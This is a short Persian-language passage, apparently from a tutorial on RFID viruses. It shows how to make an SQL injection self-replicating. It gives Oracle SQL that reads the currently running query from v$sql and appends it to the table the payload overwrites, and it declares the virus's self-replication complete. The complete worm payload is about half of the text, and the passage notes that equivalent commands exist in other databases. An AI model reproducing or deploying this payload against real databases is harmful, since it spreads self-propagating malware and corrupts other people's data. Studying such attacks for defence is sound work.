مواجهه با خود ارجاعی :

همه چیز به نظر خوب می رسد، اما بخشی از نفوذ به SQL برای پر شدن باقی می ماند. فرمول قبلی را به شکل زیر ترسیم میکنیم :

 

[SQL Injection] = UPDATE NewContainerContents

Set ContainerContents = ContainerContents | |

“;[SQL Injection]”;

این وضعیت نفوذ SQL به صورت خود ارجاعی است و ما نیاز به راهی داریم تا آن را دور بزنیم.یک راه حل ممکن عبارت است از : اکثر بانکهای اطلاعاتی دستوری دارند که جستجوی جاری را مشخص می کند. این موضوع می تواند به عنوان اهرمی برای پرکردن بخش خود ارجاعی ویروس RFID بکار گرفته شود. به عنوان مثال در Oracle چنین دستوری است :

 

SELECT SQL_TEXT FROM v$sql WHERE INSTR(

SQL_TEXT,’`’)>0;

 

دستورات مشابهی نیز در Postgres, MySQL, Sybase و سایر نرم افزارهای بانکهای اطلاعاتی وجود دارد. با دستور « برو به جستجوی جاری»، کد ویروسی کامل ما به صورت زیر دیده می شود :

 

contents=Raspberries;

UPDATE NewContainerContents Set ContainerContents =

ContainerContents | | ‘;’ | | CHR(10) | | (SELECT

SQL_TEXT FROM v$sql WHERE INSTR ( SQL_TEXT, ‘`’)>0) ;

 

قابلیت خود تکثیری این ویروس اکنون کامل است.